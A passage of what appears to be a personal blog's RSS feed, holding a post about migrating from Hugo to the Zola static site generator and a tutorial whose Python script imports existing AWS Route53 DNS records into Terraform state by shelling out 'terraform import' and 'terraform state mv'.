            <content:encoded><![CDATA[<p>I’ve been writing on this blog for about 2 years now. This has been the longest I’ve stuck on to the same <em>technology stack</em> for my blog. I’ve previously jumped from a Jekyll based static site to a Medium blog before finally settling for <a rel="external" href="https://gohugo.io/">Hugo</a>.</p>
<p>I’ve been using Hugo since 2018 but I don’t recall as to <em>why</em> I went ahead with it. Maybe it was increasingly popular at that time and everyone touted Hugo as <em>the</em> solution to Static Site Generator (referred to as SSG from here on). There are 1000s of SSGs and at least a dozen of websites which lists all the SSGs out there. This is crazy by any standards. Hugo started as a generic blog generator but over the years it has become a <em>website generator</em>. It’s no longer aimed at people who just want to have a small little static website/blog but supports all the use cases for people building full-fledged static websites. IMHO these two goals are overarching however this has resulted in a simple project to become incredibly complex over time.</p>
<h3 id="tipping-point">Tipping Point<a class="zola-anchor" href="#tipping-point" aria-label="Anchor link for: tipping-point">#</a></h3>
<p>Anyway, so I wanted to change the look of the homepage on my website so I decided to look at Hugo’s documentation. Hugo’s documentation is great for someone who knows what exactly are they looking for. The documentation is so huge that you simply cannot grok it in one evening. I had zero ideas on how to customise the damn homepage of my blog and after spending hours buried in the documentation I was able to kind of figure the solution but it was unintuitive, to say the least. Apparently, to override any template from the theme, you have to mirror the directory structure of the theme in your root directory. Which meant, I needed to look at the source code of the theme, figure out the project structure, copy-paste all the folder names and put my override of <code>index.html</code> there. Which, BTW <strong>magically</strong> overrides it. This whole magic thing is BS and I am being strongly opinionated here.</p>
<p>There is more than one way to do something in Hugo. Different theme authors use different styles, which makes the whole thing even more complex. It also means for my customisations to work across themes, well you guessed it right: <strong>it’s impossible</strong>.</p>
<p>Recently I discovered that I was unable to preview my Hugo website locally without internet because I had a Twitter <a rel="external" href="https://gohugo.io/content-management/shortcodes/#tweet">shortcode</a> in one of my blog post (which makes an API call to Twitter to render a nice card preview). The site completely failed to render instead of just logging a warning. Bollocks.</p>
<p>The tipping point for me, however, was when the theme I was using stopped working with the latest version of Hugo at that point. So, picture this – You make dozens of custom changes and then one update just <em>breaks</em> your website. Now not only you have to fix your shit but the theme you were using, you’ve to make upstream changes to the theme or maintain your own fork. And no, this is not a one-off experience. Hugo upgrades are a joke, they are known to break very very often.</p>
<p>I was done at this point. I didn’t want to deal with this BS of continuously fighting the generator for my blog.</p>
<h3 id="a-fresh-change">A fresh change<a class="zola-anchor" href="#a-fresh-change" aria-label="Anchor link for: a-fresh-change">#</a></h3>
<p>Being a practitioner of <a rel="external" href="https://projects.csail.mit.edu/gsb/old-archive/gsb-archive/gsb2000-02-11.html">Yak Shaving</a>, I discussed the idea of a “tinyhugo” with <a rel="external" href="https://nadh.in/">Kailash</a> and <a rel="external" href="https://www.saratchandra.in/">Sarat</a>. We’d arrived at a spec and I started writing some code to pander to my NIH syndrome.</p>
<p>However, I was still not convinced that a simpler solution doesn’t exist. I spent countless hours exploring other alternatives. I’d used <a rel="external" href="https://www.getlektor.com/">Lektor</a>, <a rel="external" href="https://blog.getpelican.com/">Pelican</a>, <a rel="external" href="https://www.11ty.dev/">Eleventy</a> before finally stumbling upon <a rel="external" href="https://www.getzola.org/">Zola</a> from HN/Lobster discussions. I’ve got to say, the landing page gave a <em>fresh</em> feeling - one that I’ve not seen with any other alternatives. In fact quite opposite to the Eleventy landing page which looks like an over-engineered piece of software to generate websites (Not hating on it, there might be use cases for it, but the JS tooling and dependency system is something that I would not want to touch with a 10ft pole).</p>
<p>Zola’s primary appeal to me was that like Hugo it’s extremely fast and comes as a single binary no dependency package. I looked at the docs the first impression was they are concise enough to get a basic idea. Zola is strongly opinionated, even to the extent of dictating a project structure and sometimes filenames too. I actually preferred this over the <em>magic</em> Hugo does. In less than 2 hours I was able to port the home page of my blog (and tweak it to my liking) in Zola. I decided to abandon my own <code>tinyhugo</code> attempt because for the very fact Zola fits my needs very well.</p>
<p>The thing that I really loved about Zola is how it enforces a separation between <a rel="external" href="https://www.getzola.org/documentation/content/section/">Section</a> and <a rel="external" href="https://www.getzola.org/documentation/content/page/">Pages</a>. The section represents a “collection” of posts. So a <em>blog</em> can be a section, and I can have another section called “Book Reviews”. I could easily tell Zola where to look for the templates by specifying the same in <code>content/book_reviews/_index.md</code>. I don’t have to read Hugo docs or do <em>Google-fu</em> to figure this out, it’s right there in the docs and very apparent.</p>
<p>For the record, I still don’t know how to customise different templates for different sections in Hugo, but I couldn’t care less.</p>
<h3 id="migration">Migration<a class="zola-anchor" href="#migration" aria-label="Anchor link for: migration">#</a></h3>
<p>The migration was pretty straightforward – I had to copy the <code>content folder</code>s of my blog (which are just a bunch of <code>.md</code> files) and replace <code>YAML</code> frontmatter to <code>TOML</code>. There were a few variable changes that I needed to do manually but since they were a manageable 20-25 posts, I did it by hand. I could potentially automate but then rabbit deep in the rabbit hole of Yak Shaving. The good part was that I was able to retain the same URL structure for my new blog because the URL scheme was based on the file paths.</p>
<p>I spent some time porting <a rel="external" href="https://github.com/knadh/hugo-ink">hugo-ink</a> to Zola and did minor CSS tweaks to it. Zola uses the Tera language for templating and it’s much more pleasing to eyes than the Go Template syntax. Zola comes with pretty neat features like Search, RSS/Atom Feeds, Syntax Highlighting and SASS-&gt;CSS Processors.</p>
<p>What took me time however was to figure out how to get <code>opengraph</code> tags in each page. Hugo provides nifty <a rel="external" href="https://github.com/gohugoio/hugo/blob/master/tpl/tplimpl/embedded/templates/opengraph.html">template</a> for this use case but Zola is pretty barebones like that. People who care a lot about SEO need to spend some extra efforts here.</p>
<h3 id="future">Future<a class="zola-anchor" href="#future" aria-label="Anchor link for: future">#</a></h3>
<p>Zola is still a pretty new kid on the block but the author shares the same frustration about Hugo:</p>
<blockquote>
<p>it personally drives me insane, to the point of writing my own template engine and static site generator. Yes, this is a bit biased. – <a rel="external" href="https://github.com/getzola/zola#-explanations">Source</a></p>
</blockquote>
<p>This also reflects in the issues/PRs I’ve seen for Zola and the author is opinionated about not adding features which would make Zola complicated. Overall I am very happy with the switch and it was long due. I feel more confident in tweaking certain sections of my website. I plan to open-source the current theme in the next few days.</p>
<p>You can read the <a rel="external" href="https://git.mrkaran.dev/karan/website">Source Code</a> of this website if you’d like to explore how this website is built.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Import existing Route53 records in Terraform]]></title>
            <link>https://mrkaran.dev/posts/terraform-route53-import/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/terraform-route53-import/</guid>
            <pubDate>Sun, 18 Oct 2020 02:40:55 GMT</pubDate>
            <description><![CDATA[Terraform has a straightforward way of importing existing records (managed outside Terraform) via terraform import command. The usage is documented here and works well if you have a handful of records to import. However when you work with custom Terraform modules and have a whole bunch of records to be imported, you’d look out ways to script the entire workflow. I did this a few weeks back at work and thought to share a solution which works well for my usecase.
How it works#
The task consists of 3 parts:
1. Import all existing records in a hosted zone using AWS CLI.#
aws route53 list-resource-record-sets --hosted-zone-id XXX > data/company-tld.json
# Loads the zone records in a dict
def load_records(zone_file=ZONE_FILE):
    with open(zone_file) as record_file:
        data = json.load(record_file)
    return data
2. Import the record in Terraform state.#
To do this, Terraform CLI comes with an import command. However for import to work, you need to have a resource declaration in your Terraform file already.
From the official documentation:
Because of this, prior to running terraform import it is necessary to write manually a resource configuration block for the resource, to which the imported object will be mapped.
To overcome this restriction, we will create a dummy.tf and programatically write the configuration block for each record.
# Writes the dummy Terraform template which is required
# before `terraform import` runs.
def template_dummy_file(resource_name):
    add_dummy_record = Template(
        """
	resource "aws_route53_record" "$resource_name" {
	# (resource arguments)
	}
	"""
    )
    dummy_file_path = path.join(TERRAFORM_DIR, "dummy.tf")
    with open(dummy_file_path, "a") as f:
        f.write(add_dummy_record.substitute(resource_name=resource_name))
AWS Route53 module can import aws_route53_record as decsribed here. We will run this command as a subprocess.
# Shells out `terraform import` command in the host OS.
def terraform_import(resource_name, resource_type):
    import_command = f"terraform import aws_route53_record.{resource_name} {ZONE_ID}_{resource_name}_{resource_type}"
    run(import_command, shell=True, check=True)
3. (Optional) Move Resources in a Module#
In case you are using a Module to manage AWS Route53 resources, you’ll need to move the declaration from resource to module configuration block. This is described more in detail here.
The module declaration/naming would depend on how the module is configured. To demonstrate, the module I use internally requires the name to be of the format resource_name-resource_type. To achieve this, you can call terraform state mv as a subprocess:
# Shells out `terraform state mv` command in the host OS.
def terraform_move(resource_name, resource_type):
    mv_command = f"terraform state mv aws_route53_record.{resource_name} 'module.{MODULE_NAME}.aws_route53_record.route53_record[\"{resource_name}-{resource_type}\"]'"
    run(mv_command, shell=True, check=True)
That’s it! Running terraform plan should now show you the changes and if you imported every record correctly you should not see any drift from the real world state.
You can view the entire script here:
import json
from os import getenv, path
from string import Template
from subprocess import run
from sys import exit


ZONE_ID = getenv("ZONE_ID")
MODULE_NAME = getenv("MODULE_NAME")
ZONE_FILE = getenv("ZONE_FILE")
TERRAFORM_DIR = getenv("TERRAFORM_DIR")

# Returns the variable key if not present in ENV.
def check_env_vars():
    if not ZONE_FILE:
        return "$ZONE_FILE"
    if not ZONE_ID:
        return "$ZONE_ID"
    if not MODULE_NAME:
        return "$MODULE_NAME"
    if not TERRAFORM_DIR:
        return "$TERRAFORM_DIR"
    return ""


# Loads the zone records in a dict
def load_records(zone_file=ZONE_FILE):
    with open(zone_file) as record_file:
        data = json.load(record_file)
    return data


# Writes the dummy Terraform template which is required
# before `terraform import` runs.
def template_dummy_file(resource_name):
    add_dummy_record = Template(
        """
	resource "aws_route53_record" "$resource_name" {
	# (resource arguments)
	}
	"""
    )
    dummy_file_path = path.join(TERRAFORM_DIR, "dummy.tf")
    with open(dummy_file_path, "a") as f:
        f.write(add_dummy_record.substitute(resource_name=resource_name))


# Shells out `terraform import` command in the host OS.
def terraform_import(resource_name, resource_type):
    import_command = f"terraform import aws_route53_record.{resource_name} {ZONE_ID}_{resource_name}_{resource_type}"
    run(import_command, shell=True, check=True)


# Shells out `terraform state mv` command in the host OS.
def terraform_move(resource_name, resource_type):
    mv_command = f"terraform state mv aws_route53_record.{resource_name} 'module.{MODULE_NAME}.aws_route53_record.route53_record[\"{resource_name}-{resource_type}\"]'"
    run(mv_command, shell=True, check=True)


if __name__ == "__main__":
    missing = check_env_vars()
    if missing:
        exit(f"Required env variable {missing} is missing.")
    records = load_records()
    for i in records.get("ResourceRecordSets"):
        resource_name = i.get("Name")
        resource_type = i.get("Type")
        template_dummy_file(resource_name)
        terraform_import(resource_name, resource_type)
        terraform_move(resource_name, resource_type)
        print(f"Imported {resource_name}")
Hope this tiny Python script helps you transition your AWS Route53 records neatly and effortlessly!
Fin!]]></description>
            <content:encoded><![CDATA[<p>Terraform has a straightforward way of importing existing records (managed outside Terraform) via <code>terraform import</code> command. The usage is documented <a rel="external" href="https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/route53_record">here</a> and works well if you have a handful of records to import. However when you work with custom Terraform modules <em>and</em> have a whole bunch of records to be imported, you’d look out ways to <strong>script</strong> the entire workflow. I did this a few weeks back at work and thought to share a solution which works well for my usecase.</p>
<h3 id="how-it-works">How it works<a class="zola-anchor" href="#how-it-works" aria-label="Anchor link for: how-it-works">#</a></h3>
<p>The task consists of 3 parts:</p>
<h4 id="1-import-all-existing-records-in-a-hosted-zone-using-aws-cli">1. Import all existing records in a hosted zone using <code>AWS CLI</code>.<a class="zola-anchor" href="#1-import-all-existing-records-in-a-hosted-zone-using-aws-cli" aria-label="Anchor link for: 1-import-all-existing-records-in-a-hosted-zone-using-aws-cli">#</a></h4>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">aws</span><span style="color: light-dark(#032F62, #96D0FF);"> route53</span><span style="color: light-dark(#032F62, #96D0FF);"> list-resource-record-sets</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-hosted-zone-id</span><span style="color: light-dark(#032F62, #96D0FF);"> XXX</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> data/company-tld.json</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Loads the zone records in a dict</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> load_records</span><span>(</span><span>zone_file</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">ZONE_FILE</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    with</span><span style="color: light-dark(#005CC5, #6CB6FF);"> open</span><span>(</span><span>zone_file</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> as</span><span> record_file</span><span>:</span></span>
<span class="giallo-l"><span>        data</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> json</span><span>.</span><span>load</span><span>(</span><span>record_file</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    return</span><span> data</span></span></code></pre><h4 id="2-import-the-record-in-terraform-state">2. Import the record in Terraform state.<a class="zola-anchor" href="#2-import-the-record-in-terraform-state" aria-label="Anchor link for: 2-import-the-record-in-terraform-state">#</a></h4>
<p>To do this, Terraform CLI comes with an <code>import</code> command. However for <code>import</code> to work, you need to have a resource declaration in your Terraform file already.</p>
<p>From the <a rel="external" href="https://www.terraform.io/docs/import/index.html#currently-state-only">official documentation</a>:</p>
<blockquote>
<p>Because of this, prior to running terraform import it is necessary to write manually a resource configuration block for the resource, to which the imported object will be mapped.</p>
</blockquote>
<p>To overcome this restriction, we will create a <code>dummy.tf</code> and programatically write the configuration block for each record.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Writes the dummy Terraform template which is required</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> before `terraform import` runs.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> template_dummy_file</span><span>(</span><span>resource_name</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span>    add_dummy_record</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> Template</span><span>(</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;&quot;&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	resource &quot;aws_route53_record&quot; &quot;$resource_name&quot; {</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	# (resource arguments)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	}</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;&quot;&quot;</span></span>
<span class="giallo-l"><span>    )</span></span>
<span class="giallo-l"><span>    dummy_file_path</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> path</span><span>.</span><span>join</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">TERRAFORM_DIR</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">dummy.tf</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    with</span><span style="color: light-dark(#005CC5, #6CB6FF);"> open</span><span>(</span><span>dummy_file_path</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> as</span><span> f</span><span>:</span></span>
<span class="giallo-l"><span>        f</span><span>.</span><span>write</span><span>(</span><span>add_dummy_record</span><span>.</span><span>substitute</span><span>(</span><span style="color: light-dark(#E36209, #F69D50);">resource_name</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span>resource_name</span><span>)</span><span>)</span></span></code></pre>
<p>AWS Route53 module can import <code>aws_route53_record</code> as decsribed <a rel="external" href="https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/route53_record#import">here</a>. We will run this command as a subprocess.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Shells out `terraform import` command in the host OS.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> terraform_import</span><span>(</span><span>resource_name</span><span>,</span><span> resource_type</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span>    import_command</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">terraform import aws_route53_record.</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>resource_name</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#005CC5, #F47067);"> {</span><span style="color: light-dark(#005CC5, #6CB6FF);">ZONE_ID</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">_</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>resource_name</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">_</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>resource_type</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    run</span><span>(</span><span>import_command</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> shell</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">True</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> check</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">True</span><span>)</span></span></code></pre><h4 id="3-optional-move-resources-in-a-module">3. (Optional) Move Resources in a Module<a class="zola-anchor" href="#3-optional-move-resources-in-a-module" aria-label="Anchor link for: 3-optional-move-resources-in-a-module">#</a></h4>
<p>In case you are using a Module to manage AWS Route53 resources, you’ll need to move the declaration from <code>resource</code> to <code>module</code> configuration block. This is described more in detail <a rel="external" href="https://www.terraform.io/docs/commands/state/mv.html#example-move-a-resource-into-a-module">here</a>.</p>
<p>The module declaration/naming would depend on how the module is configured. To demonstrate, the module I use internally requires the name to be of the format <code>resource_name-resource_type</code>. To achieve this, you can call <code>terraform state mv</code> as a subprocess:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Shells out `terraform state mv` command in the host OS.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> terraform_move</span><span>(</span><span>resource_name</span><span>,</span><span> resource_type</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span>    mv_command</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">terraform state mv aws_route53_record.</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>resource_name</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;module.</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span style="color: light-dark(#005CC5, #6CB6FF);">MODULE_NAME</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">.aws_route53_record.route53_record[</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>resource_name</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#005CC5, #F47067);">{</span><span>resource_type</span><span style="color: light-dark(#005CC5, #F47067);">}</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">]</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    run</span><span>(</span><span>mv_command</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> shell</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">True</span><span>,</span><span style="color: light-dark(#E36209, #F69D50);"> check</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">True</span><span>)</span></span></code></pre>
<p>That’s it! Running <code>terraform plan</code> should now show you the changes and if you imported every record correctly you should not see any <em>drift</em> from the real world state.</p>
<p>You can view the entire script here:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="python"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> json</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">from</span><span> os</span><span style="color: light-dark(#D73A49, #F47067);"> import</span><span> getenv</span><span>,</span><span> path</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">from</span><span> string</span><span style="color: light-dark(#D73A49, #F47067);"> import</span><span> Template</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">from</span><span> subprocess</span><span style="color: light-dark(#D73A49, #F47067);"> import</span><span> run</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">from</span><span> sys</span><span style="color: light-dark(#D73A49, #F47067);"> import</span><span style="color: light-dark(#005CC5, #6CB6FF);"> exit</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">ZONE_ID</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> getenv</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">ZONE_ID</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">MODULE_NAME</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> getenv</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">MODULE_NAME</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">ZONE_FILE</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> getenv</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">ZONE_FILE</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #6CB6FF);">TERRAFORM_DIR</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> getenv</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">TERRAFORM_DIR</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Returns the variable key if not present in ENV.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> check_env_vars</span><span>(</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span style="color: light-dark(#005CC5, #6CB6FF);"> ZONE_FILE</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">$ZONE_FILE</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span style="color: light-dark(#005CC5, #6CB6FF);"> ZONE_ID</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">$ZONE_ID</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span style="color: light-dark(#005CC5, #6CB6FF);"> MODULE_NAME</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">$MODULE_NAME</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    if</span><span style="color: light-dark(#D73A49, #F47067);"> not</span><span style="color: light-dark(#005CC5, #6CB6FF);"> TERRAFORM_DIR</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        return</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">$TERRAFORM_DIR</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    return</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Loads the zone records in a dict</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> load_records</span><span>(</span><span>zone_file</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);">ZONE_FILE</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    with</span><span style="color: light-dark(#005CC5, #6CB6FF);"> open</span><span>(</span><span>zone_file</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> as</span><span> record_file</span><span>:</span></span>
<span class="giallo-l"><span>        data</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> json</span><span>.</span><span>load</span><span>(</span><span>record_file</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    return</span><span> data</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Writes the dummy Terraform template which is required</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> before `terraform import` runs.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">def</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> template_dummy_file</span><span>(</span><span>resource_name</span><span>)</span><span>:</span></span>
<span class="giallo-l"><span>    add_dummy_record</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> Template</span><span>(</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">        &quot;&quot;&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	resource &quot;aws_route53_record&quot; &quot;$resource_name&quot; {</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	# (resource arguments)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	}</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;&quot;&quot;</span></span>
<span class="giallo-l"><span>    )</span></span>
<span class="giallo-l"><span>    dummy_file_path</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> path</span><span>.</span><span>join</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">TERRAFORM_DIR</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">dummy.tf</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
